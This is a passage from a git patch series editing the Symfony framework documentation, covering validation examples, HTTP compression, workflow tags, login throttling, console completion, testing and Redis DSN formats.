-                return ($this->username !== $this->password);
-            }
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
@@ -206,31 +174,6 @@ entity and a new constraint group called ``Premium``:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            private $name;
-
-            /**
-             * @Assert\CardScheme(
-             *     schemes={"VISA"},
-             *     groups={"Premium"},
-             * )
-             */
-            private $creditCard;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
@@ -352,21 +295,6 @@ provides a sequence of groups to be validated:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        // ...
-
-        /**
-         * @Assert\GroupSequenceProvider
-         */
-        class User implements GroupSequenceProviderInterface
-        {
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/validation/severity.rst b/validation/severity.rst
index 7df7746c7f2..3cb58ca1e7f 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -25,31 +25,6 @@ Use the ``payload`` option to configure the error level for each constraint:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/User.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class User
-        {
-            /**
-             * @Assert\NotBlank(payload={"severity"="error"})
-             */
-            protected $username;
-
-            /**
-             * @Assert\NotBlank(payload={"severity"="error"})
-             */
-            protected $password;
-
-            /**
-             * @Assert\Iban(payload={"severity"="warning"})
-             */
-            protected $bankAccountNumber;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/User.php
diff --git a/validation/translations.rst b/validation/translations.rst
index 10ce5b11275..ff8340466d6 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -32,21 +32,6 @@ property is not empty, add the following:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Author.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Author
-        {
-            /**
-             * @Assert\NotBlank(message="author.name.not_blank")
-             */
-            public $name;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Author.php

From 2802fe680997409729572f12c7a930423f132fee Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 22 Aug 2022 17:35:35 +0200
Subject: [PATCH 2259/5766] Expanding on HTTP compression

I moved the note downwards, because two things should be explained before it:
* cURL and Native Client
* How to send an HTTP header
Besides, it not that important to have it explained right on top; and it fits nicely in the "Performance" section.

The info is taken from https://github.com/symfony/symfony-docs/issues/17216#issuecomment-1222494905
---
 http_client.rst | 20 +++++++++++++++-----
 1 file changed, 15 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 17a31627844..9cc534f00db 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -373,11 +373,6 @@ immediately instead of waiting to receive the response::
 This component also supports :ref:`streaming responses <http-client-streaming-responses>`
 for full asynchronous applications.
 
-.. note::
-
-    HTTP compression and chunked transfer encoding are automatically enabled when
-    both your PHP runtime and the remote server support them.
-
 Authentication
 ~~~~~~~~~~~~~~
 
@@ -758,6 +753,20 @@ When using this component in a full-stack Symfony application, this behavior is
 not configurable and cURL will be used automatically if the cURL PHP extension
 is installed and enabled. Otherwise, the native PHP streams will be used.
 
+HTTP Compression
+~~~~~~~~~~~~~~~~
+
+A HTTP header ``Accept-Encoding: gzip`` is added automatically if ...
+
+* cURL Client: ... cURL was compiled with ZLib support (see ``php --ri curl``)
+* Native Http Client: ... `Zlib PHP extension`_ is installed
+
+If the server does respond with a gzipped response, it's decoded transparently.
+
+To disable HTTP compression, send an ``Accept-Encoding: identity`` HTTP header.
+
+Chunked transfer encoding is enabled automatically if both your PHP runtime and the remote server supports it.
+
 HTTP/2 Support
 ~~~~~~~~~~~~~~
 
@@ -1571,6 +1580,7 @@ test it in a real application::
     }
 
 .. _`cURL PHP extension`: https://www.php.net/curl
+.. _`Zlib PHP extension`: https://www.php.net/zlib
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
 .. _`PSR-18`: https://www.php-fig.org/psr/psr-18/
 .. _`HTTPlug`: https://github.com/php-http/httplug/#readme

From cee427a6d268ac82412e895cb78d9b6501896231 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Wed, 17 Aug 2022 11:38:22 +0200
Subject: [PATCH 2260/5766] [Workflow] Remove doc about Registry and tell about
 tags

---
 workflow.rst | 26 +++++++++-----------------
 1 file changed, 9 insertions(+), 17 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 64035c1bd86..ff5b6c4dc5b 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -265,27 +265,19 @@ machine type, use ``camelCased workflow name + StateMachine``::
         }
     }
 
-Alternatively, use the registry::
+.. versionadded:: 6.2
 
-    use App\Entity\BlogPost;
-    use Symfony\Component\Workflow\Registry;
-
-    class MyClass
-    {
-        private $workflowRegistry;
+    All workflows and state machines services are tagged since in Symfony 6.2.
 
-        public function __construct(Registry $workflowRegistry)
-        {
-            $this->workflowRegistry = $workflowRegistry;
-        }
+.. tip::
 
-        public function toReview(BlogPost $post)
-        {
-            $blogPublishingWorkflow = $this->workflowRegistry->get($post);
+    If you want to retrieve all workflows, for documentation purposes for example,
+    you can :doc:`inject all services </service_container/service_subscribers_locators>`
+    with the following tag:
 
-            // ...
-        }
-    }
+    * ``workflow``: all workflows and all state machine;
+    * ``workflow.workflow``: all workflows;
+    * ``workflow.state_machine``: all state machines.
 
 .. tip::
 

From f614f162f99db8fea2c229cde88ef3a8eaa44827 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Fri, 19 Aug 2022 16:16:24 +0200
Subject: [PATCH 2261/5766] Clarify which branch should be chosen for a patch

---
 contributing/code/pull_requests.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 415b8e2dd96..4364190bcde 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -124,10 +124,11 @@ Choose the right Branch
 Before working on a PR, you must determine on which branch you need to
 work:
 
-* ``4.4``, if you are fixing a bug for an existing feature or want to make a
-  change that falls into the :doc:`list of acceptable changes in patch versions
-  </contributing/code/maintenance>` (you may have to choose a higher branch if
-  the feature you are fixing was introduced in a later version);
+* If you are fixing a bug for an existing feature or want to make a change
+  that falls into the :doc:`list of acceptable changes in patch versions
+  </contributing/code/maintenance>`, pick the oldest concerned maintained
+  branch (you can find them on the `Symfony releases page`_). E.g. if you
+  found a bug introduced in ``v5.1.10``, you need to work on ``5.4``.
 
 * ``6.2``, if you are adding a new feature.
 
@@ -520,6 +521,7 @@ before merging.
 .. _GitHub: https://github.com/join
 .. _`GitHub's documentation`: https://help.github.com/github/using-git/ignoring-files
 .. _Symfony repository: https://github.com/symfony/symfony
+.. _Symfony releases page: https://symfony.com/releases#maintained-symfony-branches
 .. _`documentation repository`: https://github.com/symfony/symfony-docs
 .. _`fabbot`: https://fabbot.io
 .. _`Psalm`: https://psalm.dev/

From b85ecbc0bd7922d180be360fbdd5646b8db126eb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 14 Aug 2022 23:12:24 +0200
Subject: [PATCH 2262/5766] Shortening code block for PHP

---
 security.rst | 32 ++++++++------------------------
 1 file changed, 8 insertions(+), 24 deletions(-)

diff --git a/security.rst b/security.rst
index 2cf429e6dd4..b12efbf3715 100644
--- a/security.rst
+++ b/security.rst
@@ -1396,14 +1396,10 @@ You must enable this using the ``login_throttling`` setting:
                     # by default, the feature allows 5 login attempts per minute
                     login_throttling: null
 
-                    # configure the maximum login attempts (per minute)
+                    # configure the maximum login attempts
                     login_throttling:
-                        max_attempts: 3
-
-                    # configure the maximum login attempts in a custom period of time
-                    login_throttling:
-                        max_attempts: 3
-                        interval: '15 minutes'
+                        max_attempts: 3          # per minute ...
+                        # interval: '15 minutes' # ... or in a custom period
 
                     # use a custom rate limiter via its service ID
                     login_throttling:
@@ -1426,13 +1422,9 @@ You must enable this using the ``login_throttling`` setting:
                 <!-- ... -->
 
                 <firewall name="main">
-                    <!-- by default, the feature allows 5 login attempts per minute -->
-                    <login-throttling/>
-
-                    <!-- configure the maximum login attempts (per minute) -->
-                    <login-throttling max-attempts="3"/>
-
-                    <!-- configure the maximum login attempts in a custom period of time -->
+                    <!-- by default, the feature allows 5 login attempts per minute
+                         max-attempts: (optional) You can configure the maximum attempts ...
+                         interval:     (optional) ... and the period of time. -->
                     <login-throttling max-attempts="3" interval="15 minutes"/>
 
                     <!-- use a custom rate limiter via its service ID -->
@@ -1452,17 +1444,9 @@ You must enable this using the ``login_throttling`` setting:
             $mainFirewall = $security->firewall('main');
 
             // by default, the feature allows 5 login attempts per minute
-            $mainFirewall->loginThrottling();
-
-            // configure the maximum login attempts (per minute)
-            $mainFirewall->loginThrottling()
-                ->maxAttempts(3)
-            ;
-
-            // configure the maximum login attempts in a custom period of time
             $mainFirewall->loginThrottling()
-                ->maxAttempts(3)
-                ->interval('15 minutes')
+                // ->maxAttempts(3)         // Optional: You can configure the maximum attempts ...
+                // ->interval('15 minutes') // ... and the period of time.
             ;
         };
 

From 4018bd6a07421b8e3fe1243fbbb830964715bada Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 23 Aug 2022 13:32:27 +0200
Subject: [PATCH 2263/5766] Make console completion docs more generic

---
 console.rst | 29 ++++++++++++++---------------
 1 file changed, 14 insertions(+), 15 deletions(-)

diff --git a/console.rst b/console.rst
index 20476e88206..acf283386fa 100644
--- a/console.rst
+++ b/console.rst
@@ -63,26 +63,24 @@ Console Completion
 
     Console completion for Fish was introduced in Symfony 6.1.
 
-If you are using the Bash shell, you can install Symfony's completion
-script to get auto completion when typing commands in the terminal. All
-commands support name and option completion, and some can even complete
-values.
+If you are using the Bash or Fish shell, you can install Symfony's
+completion script to get auto completion when typing commands in the
+terminal. All commands support name and option completion, and some can
+even complete values.
 
 .. image:: /_images/components/console/completion.gif
 
-First, make sure you installed and setup the "bash completion" package for
-your OS (typically named ``bash-completion``). Then, install the Symfony
-completion bash script *once* by running the ``completion`` command in a
-Symfony app installed on your computer:
+First, you have to install the completion script *once*. Run
+``bin/console completion --help`` for the installation instructions for
+your shell.
 
-.. code-block:: terminal
+.. note::
 
-    $ php bin/console completion bash | sudo tee /etc/bash_completion.d/console-events-terminate
-    # after the installation, restart the shell
+    When using Bash, make sure you installed and setup the "bash completion"
+    package for your OS (typically named ``bash-completion``).
 
-Now you are all set to use the auto completion for all Symfony Console
-applications on your computer. By default, you can get a list of complete
-options by pressing the Tab key.
+After installing and restarting your terminal, you're all set to use
+completion (by default, by pressing the Tab key).
 
 .. tip::
 
@@ -92,7 +90,8 @@ options by pressing the Tab key.
 
     .. code-block:: terminal
 
-        $ php vendor/bin/phpstan completion bash | sudo tee /etc/bash_completion.d/phpstan
+        $ php vendor/bin/phpstan completion --help
+        $ composer completion --help
 
 Creating a Command
 ------------------

From 5d14c8f16cc8a5d02ff77613e8ec3fb4f2738fc0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Aug 2022 16:45:00 +0200
Subject: [PATCH 2264/5766] [Console] Mention that autocompletion is also
 available for Zsh shell

---
 console.rst       | 6 +++++-
 page_creation.rst | 2 +-
 2 files changed, 6 insertions(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index acf283386fa..5f5f8f9baeb 100644
--- a/console.rst
+++ b/console.rst
@@ -63,7 +63,11 @@ Console Completion
 
     Console completion for Fish was introduced in Symfony 6.1.
 
-If you are using the Bash or Fish shell, you can install Symfony's
+.. versionadded:: 6.2
+
+    Console completion for Zsh was introduced in Symfony 6.2.
+
+If you are using the Bash, Zsh or Fish shell, you can install Symfony's
 completion script to get auto completion when typing commands in the
 terminal. All commands support name and option completion, and some can
 even complete values.
diff --git a/page_creation.rst b/page_creation.rst
index 9d065c6a07e..c590d822a39 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -181,7 +181,7 @@ You'll learn about many more commands as you continue!
 
 .. tip::
 
-    If you are using the Bash or Fish shell, you can set up completion support.
+    If your shell is supported, you can also set up console completion support.
     This autocompletes commands and other input when using ``bin/console``.
     See :ref:`the Console document <console-completion-setup>` for more
     information on how to set up completion.

From 5dbab03b2d407d7665a4469d5e89a514afb1dcea Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 23 Aug 2022 14:08:28 +0200
Subject: [PATCH 2265/5766] add missing attributes code block

---
 reference/constraints/Collection.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index e708511d309..62595aef75e 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -239,6 +239,29 @@ you can do the following:
             protected $profileData = ['personal_email' => 'email@example.com'];
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Collection(
+                fields: [
+                    'personal_email' => new Assert\Required([
+                        new Assert\NotBlank,
+                        new Assert\Email,
+                    ]),
+                    'alternate_email' => new Assert\Optional(
+                        new Assert\Email
+                    ),
+                ],
+            )]
+            protected $profileData = ['personal_email' => 'email@example.com'];
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From a82cc31d976c33335eaf180cad2e75b9e1d37757 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 23 Aug 2022 14:44:56 +0200
Subject: [PATCH 2266/5766] Remove annotations from constraint examples added
 in 6.1

---
 reference/constraints/ExpressionSyntax.rst | 22 ----------------------
 reference/constraints/Unique.rst           | 15 ---------------
 2 files changed, 37 deletions(-)

diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
index 3d0ef55f018..45a633867d7 100644
--- a/reference/constraints/ExpressionSyntax.rst
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -28,28 +28,6 @@ The following constraints ensure that:
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Order.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Order
-        {
-            /**
-             * @Assert\ExpressionSyntax
-             */
-            protected $promotion;
-
-            /**
-             * @Assert\ExpressionSyntax(
-             *     allowedVariables={"user", "shipping_centers"}
-             * )
-             */
-            protected $shippingOptions;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Order.php
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index a3af3f6b94e..4c5c5945e76 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -109,21 +109,6 @@ collection::
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Entity/Poi.php
-        namespace App\Entity;
-
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        class Poi
-        {
-            /**
-             * @Assert\Unique(fields={"latitude", "longitude"})
-             */
-            protected $coordinates;
-        }
-
     .. code-block:: php-attributes
 
         // src/Entity/Poi.php

From 9f3b1474992b02be7130f3dd38aae3b37353f79a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 15 Jul 2022 15:56:12 +0200
Subject: [PATCH 2267/5766] Adding that you cannot access a session inside a
 constructor

---
 session.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/session.rst b/session.rst
index 2898ba5d70b..9ee5ebea31e 100644
--- a/session.rst
+++ b/session.rst
@@ -149,6 +149,10 @@ if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\Re
         public function __construct(RequestStack $requestStack)
         {
             $this->requestStack = $requestStack;
+
+            // Accessing the session in the constructor is *NOT* reommended, since
+            // it might not be accessible yet or lead to unwanted side-effects
+            // $this->session = $requestStack->getSession();
         }
 
         public function someMethod()

From f516983b938f2dc93e96670b01958e75669a7fbc Mon Sep 17 00:00:00 2001
From: Artyum Petrov <artyum@protonmail.com>
Date: Tue, 23 Aug 2022 23:47:26 +0400
Subject: [PATCH 2268/5766] Added documentation for IS_AUTHENTICATED

---
 security.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index b24ba9eb577..4dd3be97ada 100644
--- a/security.rst
+++ b/security.rst
@@ -2418,19 +2418,19 @@ Secondly, you can use a special "attribute" in place of a role::
 
     public function adminDashboard(): Response
     {
-        $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');
+        $this->denyAccessUnlessGranted('IS_AUTHENTICATED');
 
         // ...
     }
 
-You can use ``IS_AUTHENTICATED_FULLY`` anywhere roles are used: like
+You can use ``IS_AUTHENTICATED`` anywhere roles are used: like
 ``access_control`` or in Twig.
 
-``IS_AUTHENTICATED_FULLY`` isn't a role, but it kind of acts like one, and every
+``IS_AUTHENTICATED`` isn't a role, but it kind of acts like one, and every
 user that has logged in will have this. Actually, there are some special attributes
 like this:
 
-* ``IS_AUTHENTICATED_REMEMBERED``: *All* logged in users have this, even
+* ``IS_AUTHENTICATED_REMEMBERED``: Just like ``IS_AUTHENTICATED``, *all* logged in users have this, even
   if they are logged in because of a "remember me cookie". Even if you don't
   use the :doc:`remember me functionality </security/remember_me>`,
   you can use this to check if the user is logged in.

From 45c152a3f8c408947dc89574397a85d9d2acd682 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 23 Aug 2022 23:57:56 +0200
Subject: [PATCH 2269/5766] [Testing] Add link request method & add type hint

---
 testing.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/testing.rst b/testing.rst
index 22a530b52d9..f130dfbb06f 100644
--- a/testing.rst
+++ b/testing.rst
@@ -501,7 +501,7 @@ into your Symfony application::
 
     $crawler = $client->request('GET', '/post/hello-world');
 
-The ``request()`` method takes the HTTP method and a URL as arguments and
+The :method:`request() <Symfony\\Component\\BrowserKit\\AbstractBrowser::request>` method takes the HTTP method and a URL as arguments and
 returns a ``Crawler`` instance.
 
 .. tip::
@@ -513,14 +513,14 @@ returns a ``Crawler`` instance.
 The full signature of the ``request()`` method is::
 
     request(
-        $method,
-        $uri,
+        string $method,
+        string $uri,
         array $parameters = [],
         array $files = [],
         array $server = [],
-        $content = null,
-        $changeHistory = true
-    )
+        string $content = null,
+        bool $changeHistory = true
+    ): Crawler
 
 This allows you to create all types of requests you can think of:
 

From a73f29e61c17ab91027427ad48cbce6a5fc03a3b Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Aug 2022 10:30:07 +0200
Subject: [PATCH 2270/5766] add hrtime() to the list of mocked PHP functions

---
 components/phpunit_bridge.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 08ae5054d83..8884417d563 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -534,8 +534,13 @@ Clock Mocking
 
 The :class:`Symfony\\Bridge\\PhpUnit\\ClockMock` class provided by this bridge
 allows you to mock the PHP's built-in time functions ``time()``, ``microtime()``,
-``sleep()``, ``usleep()`` and ``gmdate()``. Additionally the function ``date()``
-is mocked so it uses the mocked time if no timestamp is specified.
+``sleep()``, ``usleep()``, ``gmdate()``, and ``hrtime()`. Additionally the
+function ``date()`` is mocked so it uses the mocked time if no timestamp is
+specified.
+
+.. versionadded:: 6.2
+
+    Support for mocking the ``hrtime()`` function was introduced in Symfony 6.2.
 
 Other functions with an optional timestamp parameter that defaults to ``time()``
 will still use the system time instead of the mocked time. This means that you

From 863dcbe15a89ee5f6fcc0327a5c95a1ba30aeec2 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Aug 2022 13:53:54 +0200
Subject: [PATCH 2271/5766] fix typo

---
 components/intl.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index 57b8ef65927..9fe930b053b 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -368,7 +368,7 @@ Emoji Transliteration
 
 .. versionadded:: 6.2
 
-    The Empoji transliteration feature was introduced in Symfony 6.2.
+    The Emoji transliteration feature was introduced in Symfony 6.2.
 
 The ``EmojiTransliterator`` class provides an utility to translate emojis into
 their textual representation in all languages based on the `Unicode CLDR dataset`_::

From dbb34a472d23c3f3ef6d184d84f03ffd8a773d49 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 24 Aug 2022 13:55:03 +0200
Subject: [PATCH 2272/5766] fix typo

---
 components/intl.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index 9fe930b053b..1a8ae2bbf0b 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -370,7 +370,7 @@ Emoji Transliteration
 
     The Emoji transliteration feature was introduced in Symfony 6.2.
 
-The ``EmojiTransliterator`` class provides an utility to translate emojis into
+The ``EmojiTransliterator`` class provides a utility to translate emojis into
 their textual representation in all languages based on the `Unicode CLDR dataset`_::
 
     use Symfony\Component\Intl\Transliterator\EmojiTransliterator;

From e343163a34c944535c7d0a8db2f8dd7be8a785e1 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Wed, 24 Aug 2022 16:21:24 +0200
Subject: [PATCH 2273/5766] [Console] Remove $defaultName

Remove $defaultName and add clarification in the comment
---
 console.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/console.rst b/console.rst
index acf283386fa..a766c24c117 100644
--- a/console.rst
+++ b/console.rst
@@ -109,11 +109,10 @@ want a command to create a user::
     use Symfony\Component\Console\Output\OutputInterface;
 
     // the name of the command is what users type after "php bin/console"
+    // and it replaces the static $defaultName
     #[AsCommand(name: 'app:create-user')]
     class CreateUserCommand extends Command
     {
-        protected static $defaultName = 'app:create-user';
-
         protected function execute(InputInterface $input, OutputInterface $output): int
         {
             // ... put here the code to create the user

From 788d549a7ba519270221c4e6194b556a5fd9459d Mon Sep 17 00:00:00 2001
From: Christopher Georg <chris@sky-scripts.de>
Date: Fri, 26 Aug 2022 13:03:54 +0200
Subject: [PATCH 2274/5766] docs: fix links to phpunit docs

---
 best_practices.rst                | 2 +-
 create_framework/unit_testing.rst | 4 ++--
 form/unit_testing.rst             | 2 +-
 testing.rst                       | 6 +++---
 4 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 798cb08572d..865f7549fa3 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -458,4 +458,4 @@ you must set up a redirection.
 .. _`feature toggles`: https://en.wikipedia.org/wiki/Feature_toggle
 .. _`smoke testing`: https://en.wikipedia.org/wiki/Smoke_testing_(software)
 .. _`Webpack`: https://webpack.js.org/
-.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html#data-providers
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index c3801481a3f..fa7a93b077f 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -220,6 +220,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://phpunit.readthedocs.io/en/stable/
-.. _`test doubles`: https://phpunit.readthedocs.io/en/stable/test-doubles.html
+.. _`PHPUnit`: https://phpunit.readthedocs.io/en/9.5/
+.. _`test doubles`: https://phpunit.readthedocs.io/en/9.5/test-doubles.html
 .. _`XDebug`: https://xdebug.org/
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index 2b56b2fe07d..7cdf01b8a60 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -243,4 +243,4 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC
 and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers`
 methods.
 
-.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html#data-providers
+.. _`PHPUnit data providers`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html#data-providers
diff --git a/testing.rst b/testing.rst
index 2ebaf352a15..c40039e5f08 100644
--- a/testing.rst
+++ b/testing.rst
@@ -935,12 +935,12 @@ Learn more
 
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
-.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/stable/writing-tests-for-phpunit.html
-.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/stable/configuration.html
+.. _`Writing Tests for PHPUnit`: https://phpunit.readthedocs.io/en/9.5/writing-tests-for-phpunit.html
+.. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/9.5/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`symfony/panther`: https://github.com/symfony/panther
-.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html
+.. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/9.5/assertions.html
 .. _`section 4.1.18 of RFC 3875`: https://tools.ietf.org/html/rfc3875#section-4.1.18

From 6286e3bcca643c96508f79e2e3ee06345c80438a Mon Sep 17 00:00:00 2001
From: ToshY <31921460+ToshY@users.noreply.github.com>
Date: Fri, 26 Aug 2022 23:25:56 +0200
Subject: [PATCH 2275/5766] fixes #16310 unclear alternate DSN format

---
 components/cache/adapters/redis_adapter.rst | 81 ++++++++++++++++-----
 1 file changed, 64 insertions(+), 17 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 0845b3bcb96..8e6436fcd0c 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -67,12 +67,18 @@ replaced by ``rediss`` (the second ``s`` means "secure").
 
 .. note::
 
-    A `Data Source Name (DSN)`_ for this adapter must use the following format.
+    A `Data Source Name (DSN)`_ for this adapter must use either one of the following formats.
 
     .. code-block:: text
 
         redis[s]://[pass@][ip|host|socket[:port]][/db-index]
 
+    .. code-block:: text
+
+        redis[s]:[[user]:pass@]?[ip|host|socket[:port]][&params]
+
+    Values for placeholders ``[user]``, ``[:port]``, ``[/db-index]`` and ``[&params]`` are optional.
+
 Below are common examples of valid DSNs showing a combination of available values::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
@@ -89,20 +95,35 @@ Below are common examples of valid DSNs showing a combination of available value
     // socket "/var/run/redis.sock" and auth "bad-pass"
     RedisAdapter::createConnection('redis://bad-pass@/var/run/redis.sock');
 
-    // a single DSN can define multiple servers using the following syntax:
-    // host[hostname-or-IP:port] (where port is optional). Sockets must include a trailing ':'
+    // host "redis1" (docker container) with alternate DSN syntax and selecting database index "3"
+    RedisAdapter::createConnection('redis:?host[redis1:6379]&dbindex=3');
+
+    // providing credentials with alternate DSN syntax
+    RedisAdapter::createConnection('redis:default:verysecurepassword@?host[redis1:6379]&dbindex=3');
+
+    // a single DSN can also define multiple servers
     RedisAdapter::createConnection(
         'redis:?host[localhost]&host[localhost:6379]&host[/var/run/redis.sock:]&auth=my-password&redis_cluster=1'
     );
 
 `Redis Sentinel`_, which provides high availability for Redis, is also supported
-when using the Predis library. Use the ``redis_sentinel`` parameter to set the
-name of your service group::
+when using the PHP Redis Extension v5.2+ or the Predis library. Use the ``redis_sentinel``
+parameter to set the name of your service group::
 
     RedisAdapter::createConnection(
         'redis:?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
     );
 
+    // providing credentials
+    RedisAdapter::createConnection(
+        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster'
+    );
+
+    // providing credentials and selecting database index "3"
+    RedisAdapter::createConnection(
+        'redis:default:verysecurepassword@?host[redis1:26379]&host[redis2:26379]&host[redis3:26379]&redis_sentinel=mymaster&dbindex=3'
+    );
+
 .. versionadded:: 4.2
 
     The option to define multiple servers in a single DSN was introduced in Symfony 4.2.
@@ -132,13 +153,19 @@ array of ``key => value`` pairs representing option names and their respective v
 
         // associative array of configuration options
         [
-            'lazy' => false,
+            'class' => null,
             'persistent' => 0,
             'persistent_id' => null,
-            'tcp_keepalive' => 0,
             'timeout' => 30,
             'read_timeout' => 0,
             'retry_interval' => 0,
+            'tcp_keepalive' => 0,
+            'lazy' => null,
+            'redis_cluster' => false,
+            'redis_sentinel' => null,
+            'dbindex' => 0,
+            'failover' => 'none',
+            'ssl' => null,
